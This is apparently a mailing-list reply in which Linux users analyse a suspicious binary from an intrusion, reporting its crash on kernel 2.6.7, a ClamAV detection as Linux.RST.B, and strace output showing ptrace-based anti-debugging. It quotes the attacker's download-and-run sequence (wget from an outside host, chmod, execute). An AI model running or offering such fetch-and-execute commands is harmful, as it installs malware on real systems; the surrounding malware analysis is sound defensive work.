Andrew Farmer wrote:
If you take a look at this bit:
wget www.bo2k-rulez.net/a
chmod +x a
./a
[...]
Whatever it is, it doesn't work under 2.6.7:
peon % ./a
(long pause)
[-] Unable to determine kernel address: Operation not supported
zsh: segmentation fault ./a
peon %
$ clamscan a
a: Linux.RST.B FOUND
here i have linux 2.6.8.1, strace gives
ptrace(PTRACE_TRACEME, 0, 0x1, 0) = -1 EPERM (Operation not permitted)
_exit(0) = ?
on the child, the parent just tries to use brk() thousands of times,
without doing something else.
--
BOFH excuse #279:
The static electricity routing is acting up...
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